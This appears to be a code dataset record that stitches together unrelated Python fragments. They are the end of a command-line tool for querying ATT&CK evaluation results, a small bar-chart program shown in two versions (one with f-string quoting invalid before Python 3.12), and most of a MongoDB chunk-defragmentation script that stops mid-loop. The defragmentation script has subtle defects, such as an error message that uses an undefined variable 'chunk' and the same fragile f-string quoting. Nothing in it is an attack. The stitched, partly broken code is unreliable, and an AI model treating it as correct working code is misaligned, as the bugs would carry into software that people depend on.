help='Query based on the supplied Step/Procedure (example: $ python query_attack.py -p 1.A.1)',
default=False
)
parser.add_argument(
'-s',
'--search',
type=str,
help='Query all descriptions for the supplied substring (example: $ python query_attack.py -s ipconfig)',
default=False
)
parser.add_argument(
'vendor',
type=str,
nargs='?',
help='Optional argument to allow you to filter down to a particular vendor (example: $ python query_attack.py -s tainted countertack)',
default='.'
)
args = parser.parse_args()
if not (args.technique or args.procedure or args.search):
parser.print_help()
return False
return args
if __name__ == '__main__':
args = parse_args()
if args:
attack = QueryAttackEval(args)
for infile in glob.glob(os.path.join('./data/', '*json')):
attack.run(infile)
|
# my program
from custom_module import my_greeting
my_greeting()
numbers = [19, 3, 15, 7, 11]
print('\n Creating a bar chart from numbers:')
print(f'Index{'Value':>8} Bar')
for index, value in enumerate(numbers):
print(f'{index:>5}{value:>8} {'*' * value}')
| # my program
from custom_module import my_greeting
my_greeting()
numbers = [19, 3, 15, 7, 11]
print('\n Creating a bar chart from numbers:')
print(f'Index{"Value":>8} Bar')
for index, value in enumerate(numbers):
print(f'{index:>5}{value:>8} {"*" * value}')
|
#!/usr/bin/env python3
#
import argparse
import asyncio
import logging
import math
from motor.frameworks.asyncio import is_event_loop
import pymongo
import sys
import time
import pickle
from common import Cluster, yes_no
from copy import deepcopy
from pymongo import errors as pymongo_errors
from tqdm import tqdm
# Ensure that the caller is using python 3
if (sys.version_info[0] < 3):
raise Exception("Must be using Python 3")
class ShardedCollection:
def __init__(self, cluster, ns):
self.cluster = cluster
self.name = ns
self.ns = {'db': self.name.split('.', 1)[0], 'coll': self.name.split('.', 1)[1]}
self._direct_config_connection = None
async def init(self):
collection_entry = await self.cluster.configDb.collections.find_one({'_id': self.name})
if (collection_entry is None) or collection_entry.get('dropped', False):
raise Exception(f"""Collection '{self.name}' does not exist""")
self.uuid = collection_entry['uuid']
self.shard_key_pattern = collection_entry['key']
self.fcv = await self.cluster.FCV
def chunks_query_filter(self):
if self.fcv >= '5.0':
return {'uuid': self.uuid}
else:
return {'ns': self.name}
async def data_size_kb(self):
data_size_response = await self.cluster.client[self.ns['db']].command({
'collStats': self.ns['coll'],
}, codec_options=self.cluster.client.codec_options)
return math.ceil(max(float(data_size_response['size']), 1024.0) / 1024.0)
async def data_size_kb_per_shard(self):
"""Returns an dict:
{<shard_id>: <size>}
with collection size in KiB for each shard
"""
pipeline = [{'$collStats': {'storageStats': {}}},
{'$project': {'shard': True, 'storageStats': {'size': True}}}]
storage_stats = await self.cluster.client[self.ns['db']][self.ns['coll']].aggregate(pipeline).to_list(300)
def bytes_to_kb(size):
return max(float(size), 1024.0) / 1024.0
sizes = {}
for s in storage_stats:
shard_id = s['shard']
sizes[shard_id] = bytes_to_kb(s['storageStats']['size'])
return sizes
async def data_size_kb_from_shard(self, range):
data_size_response = await self.cluster.client[self.ns['db']].command({
'dataSize': self.name,
'keyPattern': self.shard_key_pattern,
'min': range[0],
'max': range[1],
'estimate': True
}, codec_options=self.cluster.client.codec_options)
# Round up the data size of the chunk to the nearest kilobyte
return math.ceil(max(float(data_size_response['size']), 1024.0) / 1024.0)
async def split_chunk(self, chunk, maxChunkSize_kb, conn):
chunk_size_kb = chunk['defrag_collection_est_size']
if chunk_size_kb <= maxChunkSize_kb:
return
num_split_points = chunk_size_kb // maxChunkSize_kb
surplus = chunk_size_kb - num_split_points * maxChunkSize_kb
new_maxChunkSize_kb = maxChunkSize_kb - (maxChunkSize_kb - surplus) / (num_split_points + 1);
remove_last_split_point = False
if surplus >= maxChunkSize_kb * 0.8:
# The last resulting chunk will have a size gte(80% maxChunkSize) and lte(maxChunkSize)
pass
elif surplus < maxChunkSize_kb - new_maxChunkSize_kb:
# The last resulting chunk will be slightly bigger than maxChunkSize
remove_last_split_point = True
else:
# Fairly distribute split points so resulting chunks will be of similar sizes
maxChunkSize_kb = new_maxChunkSize_kb
res = await conn.admin.command({
'splitVector': self.name,
'keyPattern': self.shard_key_pattern,
# Double size because splitVector splits at half maxChunkSize
'maxChunkSizeBytes': maxChunkSize_kb * 2 * 1024,
'min': chunk['min'],
'max': chunk['max']
}, codec_options=self.cluster.client.codec_options)
split_keys = res['splitKeys']
if len(split_keys) > 0:
if remove_last_split_point:
split_keys.pop()
for key in res['splitKeys']:
res = await self.cluster.adminDb.command({
'split': self.name,
'middle': key
}, codec_options=self.cluster.client.codec_options)
splits_performed_per_shard[chunk['shard']] += len(split_keys);
async def move_chunk(self, chunk, to):
await self.cluster.adminDb.command({
'moveChunk': self.name,
'bounds': [chunk['min'], chunk['max']],
'to': to
}, codec_options=self.cluster.client.codec_options)
async def merge_chunks(self, consecutive_chunks):
assert (len(consecutive_chunks) > 1)
await self.cluster.adminDb.command({
'mergeChunks': self.name,
'bounds': [consecutive_chunks[0]['min'], consecutive_chunks[-1]['max']]
}, codec_options=self.cluster.client.codec_options)
async def try_write_chunk_size(self, range, expected_owning_shard, size_to_write_kb):
try:
chunk_selector = self.chunks_query_filter()
chunk_selector.update({
'min': range[0],
'max': range[1],
'shard': expected_owning_shard
})
update_result = await self.cluster.configDb.chunks.update_one(
chunk_selector,
{'$set': {'defrag_collection_est_size': size_to_write_kb}}
)
if update_result.matched_count != 1:
raise Exception(
f"Chunk [{range[0]}, {range[1]}] wasn't updated: {update_result.raw_result}")
except Exception as ex:
logging.warning(f'Error {ex} occurred while writing the chunk size')
async def clear_chunk_size_estimations(self):
update_result = await self.cluster.configDb.chunks.update_many(
self.chunks_query_filter(),
{'$unset': {'defrag_collection_est_size': ''}}
)
return update_result.modified_count
def fmt_bytes(num):
suffix = "B"
for unit in ["", "Ki", "Mi", "Gi", "Ti", "Pi", "Ei", "Zi"]:
if abs(num) < 1024.0:
return f"{num:3.1f}{unit}{suffix}"
num /= 1024.0
return f"{num:.1f}Yi{suffix}"
def fmt_kb(num):
return fmt_bytes(num*1024)
async def throttle_if_necessary(last_time_secs, min_delta_secs):
secs_elapsed_since_last = (time.perf_counter() - last_time_secs)
if secs_elapsed_since_last < min_delta_secs:
secs_to_sleep = min_delta_secs - secs_elapsed_since_last
await asyncio.sleep(secs_to_sleep)
async def main(args):
cluster = Cluster(args.uri, asyncio.get_event_loop())
await cluster.check_is_mongos(warn_only=args.dryrun)
coll = ShardedCollection(cluster, args.ns)
await coll.init()
###############################################################################################
# Sanity checks (Read-Only). Ensure that:
# - The current FCV mode is lower than 5.0
# - The balancer and auto-splitter are stopped
# - No zones are associated to the collection
# - MaxChunkSize has been configured appropriately
#
async def balancer_enabled():
balancer_status = await cluster.adminDb.command({'balancerStatus': 1})
assert 'mode' in balancer_status, f"Unrecognized balancer status response: {balancer_status}"
return balancer_status['mode'] != 'off'
if not args.dryrun and await balancer_enabled():
raise Exception("""The balancer must be stopped before running this script. Please run:
sh.stopBalancer()""")
tags_doc = await cluster.configDb.tags.find_one({'ns': args.ns})
if tags_doc is not None:
raise Exception("There can be no zones associated with the collection to defragment")
auto_splitter_doc = await cluster.configDb.settings.find_one({'_id': 'autosplit'})
if not args.dryrun and (auto_splitter_doc is None or auto_splitter_doc['enabled']):
raise Exception(
"""The auto-splitter must be disabled before running this script. Please run:
db.getSiblingDB('config').settings.update({_id:'autosplit'}, {$set: {enabled: false}}, {upsert: true})"""
)
chunk_size_doc = await cluster.configDb.settings.find_one({'_id': 'chunksize'})
if chunk_size_doc is None:
if not args.dryrun:
raise Exception(
"""The MaxChunkSize must be configured before running this script. Please run:
db.getSiblingDB('config').settings.update({_id:'chunksize'}, {$set: {value: <maxChunkSize>}}, {upsert: true})"""
)
else:
target_chunk_size_kb = args.dryrun
elif chunk_size_doc['value'] <= 0:
raise Exception(
f"""Found an invalid chunk size in config.settings: '{chunk_size_doc["value"]}'""")
else:
target_chunk_size_kb = chunk_size_doc['value'] * 1024
if args.small_chunk_frac <= 0 or args.small_chunk_frac > 0.5:
raise Exception("The value for --small-chunk-threshold must be between 0 and 0.5")
small_chunk_size_kb = target_chunk_size_kb * args.small_chunk_frac
if args.shard_imbalance_frac <= 1.0 or args.shard_imbalance_frac > 1.5:
raise Exception("The value for --shard-imbalance-threshold must be between 1.0 and 1.5")
if args.threshold_for_size_calculation < 0 or args.threshold_for_size_calculation > 1:
raise Exception("The value for --phase_1_calc_size_threshold must be between 0 and 1.0")
args.write_chunk_size = not args.no_write_chunk_size
if args.dryrun:
logging.info(f"""Performing a dry run with target chunk size of {fmt_kb(target_chunk_size_kb)} """
f"""and an estimated chunk size of {fmt_kb(args.phase_1_estimated_chunk_size_kb)}."""
f"""No actual modifications to the cluster will occur.""")
else:
yes_no(
f'The next steps will perform an actual merge with target chunk size of {fmt_kb(target_chunk_size_kb)}.'
)
if args.phase_1_reset_progress:
yes_no(f'Previous defragmentation progress will be reset.')
num_cleared = await coll.clear_chunk_size_estimations()
logging.info(f'Cleared {num_cleared} already processed chunks.')
###############################################################################################
# Initialisation (Read-Only): Fetch all chunks in memory and calculate the collection version
# in preparation for the subsequent write phase.
###############################################################################################
num_chunks = await cluster.configDb.chunks.count_documents(coll.chunks_query_filter())
logging.info(f"""Collection '{coll.name}' has a shardKeyPattern of {coll.shard_key_pattern} and {num_chunks} chunks""")
shard_to_chunks = {}
async def load_chunks():
global collectionVersion
logging.info('Preperation: Loading chunks into memory')
assert not shard_to_chunks
collectionVersion = None
with tqdm(total=num_chunks, unit=' chunk') as progress:
async for c in cluster.configDb.chunks.find(coll.chunks_query_filter(), sort=[('min',
pymongo.ASCENDING)]):
shard_id = c['shard']
if collectionVersion is None:
collectionVersion = c['lastmod']
if c['lastmod'] > collectionVersion:
collectionVersion = c['lastmod']
if shard_id not in shard_to_chunks:
shard_to_chunks[shard_id] = {'chunks': [], 'num_merges_performed': 0, 'num_moves_performed': 0}
shard = shard_to_chunks[shard_id]
shard['chunks'].append(c)
progress.update()
if not args.dryrun:
sizes = await coll.data_size_kb_per_shard()
assert (len(sizes) == len(shard_to_chunks))
for shard_id in shard_to_chunks:
assert (shard_id in sizes)
shard_to_chunks[shard_id]['size'] = sizes[shard_id]
async def write_all_missing_chunk_size():
if args.dryrun or not args.write_chunk_size:
return
async def write_size(ch, progress):
bounds = [ch['min'], ch['max']]
size = await coll.data_size_kb_from_shard(bounds)
await coll.try_write_chunk_size(bounds, ch['shard'], size)
progress.update()
missing_size_query = coll.chunks_query_filter()
missing_size_query.update({'defrag_collection_est_size': {'$exists': 0}})
num_chunks_missing_size = await cluster.configDb.chunks.count_documents(missing_size_query)
if not num_chunks_missing_size:
return
logging.info("Calculating missing chunk size estimations")
with tqdm(total=num_chunks_missing_size, unit=' chunks') as progress:
tasks = []
async for ch in cluster.configDb.chunks.find(missing_size_query):
tasks.append(
asyncio.ensure_future(write_size(ch, progress)))
await asyncio.gather(*tasks)
# Mirror the config.chunks indexes in memory
def build_chunk_index():
global chunks_id_index, chunks_min_index, chunks_max_index, num_small_chunks, num_chunks_no_size
chunks_id_index = {}
chunks_min_index = {}
chunks_max_index = {}
num_small_chunks = 0
num_chunks_no_size = 0
for s in shard_to_chunks:
for c in shard_to_chunks[s]['chunks']:
assert(chunks_id_index.get(c['_id']) == None)
chunks_id_index[c['_id']] = c
chunks_min_index[pickle.dumps(c['min'])] = c
chunks_max_index[pickle.dumps(c['max'])] = c
if 'defrag_collection_est_size' in c:
if c['defrag_collection_est_size'] < small_chunk_size_kb:
num_small_chunks += 1
else:
num_chunks_no_size += 1
###############################################################################################
#
# WRITE PHASES START FROM HERE ONWARDS
#
###############################################################################################
###############################################################################################
# PHASE 1 (Merge-only): The purpose of this phase is to merge as many chunks as possible without
# actually moving any data. It is intended to achieve the maximum number of merged chunks with
# the minimum possible intrusion to the ongoing CRUD workload due to refresh stalls.
#
# The stage is also resumable, because for every chunk/chunk range that it processes, it will
# persist a field called 'defrag_collection_est_size' on the chunk, which estimates its size as
# of the time the script ran. Resuming Phase 1 will skip over any chunks which already contain
# this field, because it indicates that previous execution already ran and performed all the
# possible merges.
#
# These are the parameters that control the operation of this phase and their purpose is
# explaned below:
max_merges_on_shards_at_less_than_collection_version = 1
max_merges_on_shards_at_collection_version = 10
# The way Phase 1 (merge-only) operates is by running:
#
# (1) Up to `max_merges_on_shards_at_less_than_collection_version` concurrent mergeChunks
# across all shards which are below the collection major version
# AND
# (2) Up to `max_merges_on_shards_at_collection_version` concurrent mergeChunks across all
# shards which are already on the collection major version
#
# Merges due to (1) will bring the respective shard's major version to that of the collection,
# which unfortunately is interpreted by the routers as "something routing-related changed" and
# will result in refresh and a stall on the critical CRUD path. Because of this, the script only
# runs one at a time of these by default. On the other hand, merges due to (2) only increment
# the minor version and will not cause stalls on the CRUD path, so these can run with higher
# concurrency.
#
# The expectation is that at the end of this phase, not all possible defragmentation would have
# been achieved, but the number of chunks on the cluster would have been significantly reduced
# in a way that would make Phase 2 much less invasive due to refreshes after moveChunk.
#
# For example in a collection with 1 million chunks, a refresh due to moveChunk could be
# expected to take up to a second. However with the number of chunks reduced to 500,000 due to
# Phase 1, the refresh time would be on the order of ~100-200msec.
###############################################################################################
sem_at_less_than_collection_version = asyncio.Semaphore(
max_merges_on_shards_at_less_than_collection_version)
sem_at_collection_version = asyncio.Semaphore(max_merges_on_shards_at_collection_version)
async def merge_chunks_on_shard(shard, collection_version, progress):
shard_entry = shard_to_chunks[shard]
shard_chunks = shard_entry['chunks']
if len(shard_chunks) == 0:
return
estimated_chunk_size_kb = args.phase_1_estimated_chunk_size_kb
if not args.dryrun:
estimated_chunk_size_kb = shard_entry['size'] / float(len(shard_entry['chunks']))
chunk_at_shard_version = max(shard_chunks, key=lambda c: c['lastmod'])
shard_version = chunk_at_shard_version['lastmod']
shard_is_at_collection_version = shard_version.time == collection_version.time
progress.write(f'{shard}: avg chunk size {fmt_kb(estimated_chunk_size_kb)}')
progress.write(f'{shard}: {shard_version}: ', end='')
if shard_is_at_collection_version:
progress.write('Merge will start without major version bump')
else:
progress.write('Merge will start with a major version bump')
async def update_chunk_size_estimation(ch):
size_label = 'defrag_collection_est_size'
if size_label in ch:
return
if args.dryrun:
ch[size_label] = estimated_chunk_size_kb
return
chunk_range = [ch['min'], ch['max']]
ch[size_label] = await coll.data_size_kb_from_shard(chunk_range)
if args.write_chunk_size:
await coll.try_write_chunk_size(chunk_range, shard, ch[size_label])
def lookahead(iterable):
"""Pass through all values from the given iterable, augmented by the
information if there are more values to come after the current one
(True), or if it is the last value (False).
"""
# Get an iterator and pull the first value.
it = iter(iterable)
last = next(it)
# Run the iterator to exhaustion (starting from the second value).
for val in it:
# Report the *previous* value (more to come).
yield last, True
last = val
# Report the last value.
yield last, False
class ChunkBatch:
def __init__(self, chunk_size_estimation):
self.chunk_size_estimation = chunk_size_estimation
self.batch = []
self.batch_size_estimation = 0
self.trust_batch_estimation = True
def append(self, ch):
"""Append a chunk to the batch and update the size estimation"""
self.batch.append(ch)
if 'defrag_collection_est_size' not in ch:
self.trust_batch_estimation = False
self.batch_size_estimation += self.chunk_size_estimation
else:
self.batch_size_estimation += ch['defrag_collection_est_size']
def update_size(self, size):
"""Update batch size estimation"""
self.batch_size_estimation = size
self.trust_batch_estimation = True
def reset(self):
"""Reset the batch and the size estimation"""
self.batch = []
self.batch_size_estimation = 0
self.trust_batch_estimation = True
def __len__(self):
return len(self.batch)
consecutive_chunks = ChunkBatch(estimated_chunk_size_kb)
remain_chunks = []
last_merge_time = time.perf_counter()
for c, has_more in lookahead(shard_chunks):
progress.update()
if len(consecutive_chunks) == 0:
# Assume that the user might run phase I more than once. We may encouter chunks with
# defrag_collection_est_size set and minimum 75% target chunk size. Do not attempt
# to merge these further
skip_chunk = False
if 'defrag_collection_est_size' in c:
skip_chunk = c['defrag_collection_est_size'] >= target_chunk_size_kb * 0.75
if skip_chunk or not has_more:
await update_chunk_size_estimation(c)
remain_chunks.append(c)
else:
consecutive_chunks.append(c)
continue
merge_consecutive_chunks_without_size_check = False
def will_overflow_target_size():
"""Returns true if merging the `consecutive_chunks` with the current one `c` will
produce a chunk that is 20% bigger that the target chunk size.
If we don't trust the estimation of `consecutive_chunks` or
we don't know the size of `c` this function will always return false.
"""
trust_estimations = consecutive_chunks.trust_batch_estimation and 'defrag_collection_est_size' in c
return (trust_estimations and
consecutive_chunks.batch_size_estimation + c['defrag_collection_est_size'] > (target_chunk_size_kb * 1.20))
if consecutive_chunks.batch[-1]['max'] == c['min'] and not will_overflow_target_size():
consecutive_chunks.append(c)
elif len(consecutive_chunks) == 1:
await update_chunk_size_estimation(consecutive_chunks.batch[0])
remain_chunks.append(consecutive_chunks.batch[0])
consecutive_chunks.reset()
consecutive_chunks.append(c)
if not has_more:
await update_chunk_size_estimation(consecutive_chunks.batch[0])
remain_chunks.append(consecutive_chunks.batch[0])
consecutive_chunks.reset()
continue
else:
merge_consecutive_chunks_without_size_check = True
# To proceed to this stage we must have at least 2 consecutive chunks as candidates to
# be merged
assert (len(consecutive_chunks) > 1)
# After we have collected a run of chunks whose estimated size is 90% of the maximum
# chunk size, invoke `dataSize` in order to determine whether we can merge them or if
# we should continue adding more chunks to be merged
if consecutive_chunks.batch_size_estimation < target_chunk_size_kb * args.threshold_for_size_calculation \
and not merge_consecutive_chunks_without_size_check and has_more:
continue
merge_bounds = [consecutive_chunks.batch[0]['min'], consecutive_chunks.batch[-1]['max']]
# Determine the "exact" (not 100% exact because we use the 'estimate' option) size of
# the currently accumulated bounds via the `dataSize` command in order to decide
# whether this run should be merged or if we should continue adding chunks to it.
if not consecutive_chunks.trust_batch_estimation and not args.dryrun:
consecutive_chunks.update_size(await coll.data_size_kb_from_shard(merge_bounds))
if merge_consecutive_chunks_without_size_check or not has_more:
pass
elif consecutive_chunks.batch_size_estimation < target_chunk_size_kb * 0.75:
# If the actual range size is sill 25% less than the target size, continue adding
# consecutive chunks
continue
elif consecutive_chunks.batch_size_estimation > target_chunk_size_kb * 1.10:
# TODO: If the actual range size is 10% more than the target size, use `splitVector`
# to determine a better merge/split sequence so as not to generate huge chunks which
# will have to be split later on
pass
# Perform the actual merge, obeying the configured concurrency
sem = (sem_at_collection_version
if shard_is_at_collection_version else sem_at_less_than_collection_version)
async with sem:
new_chunk = consecutive_chunks.batch[0].copy()
new_chunk['max'] = consecutive_chunks.batch[-1]['max']
new_chunk['defrag_collection_est_size'] = consecutive_chunks.batch_size_estimation
remain_chunks.append(new_chunk)
if not args.dryrun:
try:
await throttle_if_necessary(last_merge_time, args.phase1_throttle_secs)
await coll.merge_chunks(consecutive_chunks.batch)
if args.write_chunk_size:
await coll.try_write_chunk_size(merge_bounds, shard,
consecutive_chunks.batch_size_estimation)
last_merge_time = time.perf_counter()
except pymongo_errors.OperationFailure as ex:
if ex.details['code'] == 46: # The code for LockBusy
logging.warning(
f"""Lock error occurred while trying to merge chunk range {merge_bounds}.
Consider executing with the option `--no-parallel-merges`.""")
raise
else:
progress.write(
f'Merging {len(consecutive_chunks)} consecutive chunks on {shard}: {merge_bounds}'
)
# Reset the accumulator so far. If we are merging due to
# merge_consecutive_chunks_without_size_check, need to make sure that we don't forget
# the current entry since it is not part of the run
consecutive_chunks.reset()
if merge_consecutive_chunks_without_size_check:
consecutive_chunks.append(c)
if not has_more:
await update_chunk_size_estimation(c)
remain_chunks.append(c)
shard_entry['num_merges_performed'] += 1
shard_is_at_collection_version = True
# replace list of chunks for phase 2
shard_entry['chunks'] = remain_chunks
# Conditionally execute phase 1
if args.exec_phase == 'phase1' or args.exec_phase == 'all':
logging.info('Phase I: Merging consecutive chunks on shards')
await load_chunks()
assert (len(shard_to_chunks) > 1)
logging.info(
f'Collection version is {collectionVersion} and chunks are spread over {len(shard_to_chunks)} shards'
)
with tqdm(total=num_chunks, unit=' chunk') as progress:
if args.no_parallel_merges or args.phase1_throttle_secs:
for s in shard_to_chunks:
await merge_chunks_on_shard(s, collectionVersion, progress)
else:
tasks = []
for s in shard_to_chunks:
tasks.append(
asyncio.ensure_future(merge_chunks_on_shard(s, collectionVersion, progress)))
await asyncio.gather(*tasks)
else:
logging.info("Skipping Phase I")
###############################################################################################
# PHASE 2 (Move-and-merge): The purpose of this phase is to move chunks, which are not
# contiguous on a shard (and couldn't be merged by Phase 1) to a shard where they could be
# further merged to adjacent chunks.
#
# This stage relies on the 'defrag_collection_est_size' fields written to every chunk from
# Phase 1 in order to calculate the most optimal move strategy.
#
# might be called with a chunk document without size estimation
async def get_chunk_size(ch):
if 'defrag_collection_est_size' in ch:
return ch['defrag_collection_est_size']
local = chunks_id_index[ch['_id']]
if 'defrag_collection_est_size' in local:
return local['defrag_collection_est_size']
chunk_range = [ch['min'], ch['max']]
data_size_kb = await coll.data_size_kb_from_shard(chunk_range)
ch['phase2_calculated_size'] = True
chunks_id_index[ch['_id']]['defrag_collection_est_size'] = data_size_kb
return data_size_kb
async def move_merge_chunks_by_size(shard, progress):
global num_small_chunks
global num_chunks_no_size
total_moved_data_kb = 0
shard_entry = shard_to_chunks[shard]
shard_chunks = shard_entry['chunks']
if len(shard_chunks) == 0:
return 0
def check_max_migrations():
if args.max_migrations > 0:
args.max_migrations -= 1
if args.max_migrations == 0:
raise Exception("Max number of migrations exceeded")
async def get_remain_chunk_imbalance(center, target_chunk):
if target_chunk is None:
return sys.maxsize
combined = await get_chunk_size(center) + await get_chunk_size(target_chunk)
remain = (combined % target_chunk_size_kb)
if remain == 0:
return 0
return min(combined, abs(remain - target_chunk_size_kb))
progress.write(f'Moving small chunks off shard {shard}')
sorted_chunks = shard_chunks.copy()
sorted_chunks.sort(key = lambda c: c.get('defrag_collection_est_size', 0))
last_migration_time = time.perf_counter()
for c in sorted_chunks:
# this chunk might no longer exist due to a move
if c['_id'] not in chunks_id_index:
continue
center_size_kb = await get_chunk_size(c)
had_size = 'phase2_calculated_size' not in c
# size should miss only in dryrun mode
assert had_size or args.dryrun or not args.write_chunk_size
# chunk are sorted so if we encounter a chunk too big that has not being previously merged
# we can safely exit from the loop since all the subsequent chunks will be bigger
if center_size_kb > small_chunk_size_kb:
if 'merged' in c:
continue
elif not had_size:
progress.update(1)
continue
else:
break
# chunks should be on other shards, but if this script was executed multiple times or
# due to parallelism the chunks might now be on the same shard
left_chunk = chunks_max_index.get(pickle.dumps(c['min']))
right_chunk = chunks_min_index.get(pickle.dumps(c['max']))
# Exclude overweight target shards
if (left_chunk is not None and right_chunk is not None) and (left_chunk['shard'] != right_chunk['shard']):
if total_shard_size[left_chunk['shard']] > total_shard_size[right_chunk['shard']] * args.shard_imbalance_frac:
left_chunk = None
elif total_shard_size[right_chunk['shard']] > total_shard_size[left_chunk['shard']] * args.shard_imbalance_frac:
right_chunk = None
else:
pass
if left_chunk is not None:
target_shard = left_chunk['shard']
left_size = await get_chunk_size(left_chunk)
new_size = left_size + center_size_kb
is_overweight = False
if shard != target_shard:
is_overweight = total_shard_size[shard] > total_shard_size[target_shard] * args.shard_imbalance_frac
# only move a smaller chunk unless shard is bigger
if (center_size_kb <= left_size or is_overweight) and (
await get_remain_chunk_imbalance(c, left_chunk)) < (await get_remain_chunk_imbalance(c, right_chunk)):
merge_bounds = [left_chunk['min'], c['max']]
if not args.dryrun:
await throttle_if_necessary(last_migration_time, args.phase2_throttle_secs)
if shard != target_shard:
await coll.move_chunk(c, target_shard)
await coll.merge_chunks([left_chunk, c])
if args.write_chunk_size:
await coll.try_write_chunk_size(merge_bounds, target_shard, new_size)
last_migration_time = time.perf_counter()
else:
progress.write(f'Moving chunk left from {shard} to {target_shard}, '
f'merging {merge_bounds}, new size: {fmt_kb(new_size)}')
# update local map,
chunks_id_index.pop(c['_id']) # only first chunk is kept
chunks_min_index.pop(pickle.dumps(c['min']))
chunks_max_index.pop(pickle.dumps(c['max']))
chunks_max_index[pickle.dumps(c['max'])] = left_chunk
left_chunk['merged'] = True
left_chunk['max'] = c['max']
left_chunk['defrag_collection_est_size'] = new_size
if shard != target_shard:
total_shard_size[shard] -= center_size_kb
total_shard_size[target_shard] += center_size_kb
total_moved_data_kb += center_size_kb
# update stats for merged chunk (source)
progress.update(1)
#update stats for merged chunk (destination)
if left_size <= small_chunk_size_kb and new_size > small_chunk_size_kb:
progress.update(1)
check_max_migrations()
continue
if right_chunk is not None:
target_shard = right_chunk['shard']
right_size = await get_chunk_size(right_chunk)
new_size = right_size + center_size_kb
is_overweight = False
if shard != target_shard:
is_overweight = total_shard_size[shard] > total_shard_size[target_shard] * args.shard_imbalance_frac
if center_size_kb <= right_size or is_overweight:
merge_bounds = [c['min'], right_chunk['max']]
if not args.dryrun:
await throttle_if_necessary(last_migration_time, args.phase2_throttle_secs)
if shard != target_shard:
await coll.move_chunk(c, target_shard)
await coll.merge_chunks([c, right_chunk])
if args.write_chunk_size:
await coll.try_write_chunk_size(merge_bounds, target_shard, new_size)
last_migration_time = time.perf_counter()
else:
progress.write(f'Moving chunk right from {c['shard']} to {right_chunk['shard']}, '
f'merging {merge_bounds}, new size: {fmt_kb(new_size)}')
# update local map
chunks_id_index.pop(right_chunk['_id']) # only first chunk is kept
chunks_min_index.pop(pickle.dumps(right_chunk['min']))
chunks_max_index.pop(pickle.dumps(c['max']))
chunks_max_index[pickle.dumps(right_chunk['max'])] = c
c['merged'] = True
c['shard'] = target_shard
c['max'] = right_chunk['max']
c['defrag_collection_est_size'] = new_size
if shard != target_shard:
total_shard_size[shard] -= center_size_kb
total_shard_size[target_shard] += center_size_kb
total_moved_data_kb += center_size_kb
# update stats for merged chunk (source)
progress.update(1)
#update stats for merged chunk (destination)
if right_size <= small_chunk_size_kb and new_size > small_chunk_size_kb:
progress.update(1)
check_max_migrations()
continue
# </for c in sorted_chunks:>
return total_moved_data_kb
async def phase_2():
# Move and merge small chunks. The way this is written it might need to run multiple times
total_moved_data_kb = 0
total_chunks_to_process = num_small_chunks + num_chunks_no_size
logging.info(f"Number of small chunks: {num_small_chunks}, Number of chunks with unkown size: {num_chunks_no_size}")
if not total_chunks_to_process:
return total_moved_data_kb
with tqdm(total=total_chunks_to_process, unit=' chunks') as progress:
iteration = 0
while iteration < 25:
iteration += 1
progress.write(f"""Phase II: iteration {iteration}. Remainging chunks to process {progress.total - progress.n}, total chunks {len(chunks_id_index)}""")
moved_data_kb = 0
shards_to_process = [s for s in shard_to_chunks]
while(shards_to_process):
# get the shard with most data
shard_id = max(shards_to_process, key=lambda s: total_shard_size[s])
moved_data_kb += await move_merge_chunks_by_size(shard_id, progress)
shards_to_process.remove(shard_id)
total_moved_data_kb += moved_data_kb
# update shard_to_chunks
for s in shard_to_chunks:
shard_to_chunks[s]['chunks'] = []
for cid in chunks_id_index:
c = chunks_id_index[cid]
shard_to_chunks[c['shard']]['chunks'].append(c)
num_chunks = len(chunks_id_index)
if not args.dryrun:
num_chunks_actual = await cluster.configDb.chunks.count_documents(coll.chunks_query_filter())
assert(num_chunks_actual == num_chunks)
if moved_data_kb == 0 or progress.n == progress.total:
return total_moved_data_kb
if not shard_to_chunks:
# all subsequent phases assumes we have sizes for all chunks
# and all the chunks loaded in memory
await write_all_missing_chunk_size()
await load_chunks()
build_chunk_index()
############### Calculate stats #############
total_shard_size = {}
sum_coll_size = 0
for shard_id, entry in shard_to_chunks.items():
estimated_chunk_size_kb = args.phase_1_estimated_chunk_size_kb
if not args.dryrun:
estimated_chunk_size_kb = entry['size'] / float(len(entry['chunks']))
data_size = 0
for c in entry['chunks']:
if 'defrag_collection_est_size' in c:
data_size += c['defrag_collection_est_size']
else:
data_size += estimated_chunk_size_kb
total_shard_size[shard_id] = data_size
sum_coll_size += data_size
coll_size_kb = await coll.data_size_kb()
# If we run on a dummy cluster assume collection size
if args.dryrun and coll_size_kb == 1:
coll_size_kb = sum_coll_size
num_shards = len(shard_to_chunks)
avg_chunk_size_phase_1 = coll_size_kb / len(chunks_id_index)
############### End stats calculation #############
logging.info(f'Collection size {fmt_kb(coll_size_kb)}. Avg chunk size Phase I {fmt_kb(avg_chunk_size_phase_1)}')
for s in shard_to_chunks:
num_chunks_per_shard = len(shard_to_chunks[s]['chunks'])
data_size = total_shard_size[s]
logging.info(f"Number chunks on shard {s: >15}: {num_chunks_per_shard:7} Data-Size: {fmt_kb(data_size): >9}")
orig_shard_sizes = total_shard_size.copy()
# Only conditionally execute phase2, break here to get above log lines
if args.exec_phase == 'phase2' or args.exec_phase == 'all':
logging.info('Phase II: Moving and merging small chunks')
total_moved_data_kb = await phase_2()
else:
logging.info("Skipping Phase II")
total_moved_data_kb = 0
'''
for each chunk C in the shard:
- No split if chunk size < 133% target chunk size
- Split otherwise
'''
async def split_oversized_chunks(shard, progress):
shard_entry = shard_to_chunks[shard]
shard_chunks = shard_entry['chunks']
if args.dryrun or len(shard_chunks) == 0:
return
shard_entry = await coll.cluster.configDb.shards.find_one({'_id': shard})
if shard_entry is None:
raise Exception(f"cannot resolve shard {chunk["shard"]}")
conn = await coll.cluster.make_direct_shard_connection(shard_entry)
last_split_time = time.perf_counter()
for c in shard_chunks:
progress.update()
chunk_size = await get_chunk_size(c)
if chunk_size > target_chunk_size_kb * 1.33:
await throttle_if_necessary(last_split_time, args.phase3_throttle_secs)
await coll.split_chunk(c, target_chunk_size_kb, conn)
last_split_time = time.perf_counter()
conn.close()
global splits_performed_per_shard
splits_performed_per_shard = {}
if args.exec_phase == 'phase3' or args.exec_phase == 'all':
logging.info(f'Phase III : Splitting oversized chunks')
num_chunks = len(chunks_id_index)
with tqdm(total=num_chunks, unit=' chunks') as progress:
tasks = []
for s in shard_to_chunks:
splits_performed_per_shard[s] = 0;
tasks.append(
asyncio.ensure_future(split_oversized_chunks(s, progress)))
if args.phase3_throttle_secs:
await asyncio.gather(*tasks)
tasks.clear()
await asyncio.gather(*tasks)
else:
logging.info("Skipping Phase III")
if not args.dryrun and args.write_size_on_exit:
await write_all_missing_chunk_size()
print("\n")
for s in shard_to_chunks:
